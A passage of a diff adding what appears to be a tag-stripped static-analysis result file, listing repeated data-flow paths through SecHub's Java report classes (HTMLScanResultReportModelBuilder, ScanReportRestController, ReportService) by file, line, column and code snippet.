+ model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 53 + 16 + build + + 1 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 76 + 48 + 16 + build + + 1 + + + 76 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 111 + 48 + 16 + build + + 1 + + + 111 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 139 + 48 + 16 + build + + 1 + + + 139 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 149 + 48 + 16 + build + + 1 + + + 149 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java + 160 + 48 + 16 + build + + 1 + + + 160 + Map<String, Object> map = builderToTest.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanReportRestControllerMockTest.java + 177 + 26 + 16 + build + + 1 + + + 177 + when(modelBuilder.build(any())).thenReturn(map); + + + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-doc/src/test/java/com/daimler/sechub/restdoc/ScanReportRestDocTest.java + 156 + 26 + 16 + build + + 1 + + + 156 + when(modelBuilder.build(any())).thenReturn(map); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 60 + 34 + 1 + jobUUID + + 7 + + + 60 + @PathVariable("jobUUID") UUID jobUUID + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 66 + 2 + jobUUID + + 7 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 70 + 72 + 3 + jobUUID + + 7 + + + 70 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 55 + 4 + jobUUID + + 7 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 84 + 69 + 5 + jobUUID + + 7 + + + 84 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 56 + 6 + jobUUID + + 7 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 55 + 7 + findBySecHubJobUUID + + 1 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 10 + 8 + report + + 6 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 31 + 9 + report + + 6 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 59 + 33 + 10 + report + + 6 + + + 59 + public ScanReportResult(Report report) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/Report.java + 70 + 10 + 12 + secHubJobUUID + + 13 + + + 70 + return secHubJobUUID; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 36 + 13 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 3 + 14 + jobUUID + + 7 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 10 + 15 + ScanReportResult + + 3 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 43 + 16 + getScanReportResult + + 1 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 54 + 17 + fetchScanReportResult + + 1 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 20 + 18 + scanResult + + 10 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 54 + 19 + scanResult + + 10 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 45 + 52 + 20 + scanResult + + 10 + + + 45 + public Map<String, Object> build(ScanReportResult scanResult) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 51 + 21 + getTrafficLight + + 1 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 56 + 10 + 22 + trafficLight + + 12 + + + 56 + return trafficLight; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 51 + 23 + getTrafficLight + + 1 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 10 + 24 + trafficLight + + 12 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 73 + 29 + 25 + trafficLight + + 12 + + + 73 + model.put("trafficlight", trafficLight); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 73 + 12 + 26 + put + + 1 + + + 73 + model.put("trafficlight", trafficLight); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 75 + 3 + 27 + model + + 5 + + + 75 + model.put("styleRed", styleRed); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 76 + 3 + 28 + model + + 5 + + + 76 + model.put("styleYellow", styleYellow); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 77 + 3 + 29 + model + + 5 + + + 77 + model.put("styleGreen", styleGreen); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 78 + 3 + 30 + model + + 5 + + + 78 + model.put("isWebDesignMode", webDesignMode); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 3 + 31 + model + + 5 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 32 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 33 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 34 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 53 + 35 + build + + 1 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + 